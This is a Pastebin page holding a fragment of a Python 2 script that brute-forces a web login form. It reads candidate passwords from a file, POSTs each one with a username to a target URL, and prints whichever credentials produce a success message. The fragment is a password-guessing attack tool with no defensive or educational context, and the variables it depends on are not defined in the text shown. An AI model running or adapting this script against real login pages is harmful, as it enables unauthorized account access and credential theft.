Advertisement
Guest User

Untitled

a guest
Dec 19th, 2018
128
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.07 KB | None | 0 0
  1.     passwords = open('passwords.txt').readlines()
  2.  
  3.     print "Connecting to: "+url+"......\n"
  4.     failed_aftertry = 0
  5.  
  6.     for password in passwords:
  7.         dados = {userField: user.replace('\n', ''),
  8.                  passwordField: password.replace('\n', '')}
  9.         data = requests.post(url, data=dados)
  10.         if "404 - Not Found" in data.text:
  11.             print "Connexion failed : 404 Not Found (Verify your link)"
  12.         else:
  13.             if incorrectMessage[0] in data.text or incorrectMessage[1] in data.text:
  14.                 print "Failed to connect with:\n user: "+user+" and password: "+password
  15.             else:
  16.                 if successMessage[0] in data.text or successMessage[1] in data.text:
  17.                     print "\n#######################################"
  18.                     print "\n These Credentials succeed:\n> user: "+user+" and password: "+password
  19.                     print "#######################################"
  20.                     break
  21.                 else:
  22.                     print "Trying these parameters: user: "+user+" and password: "+password
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement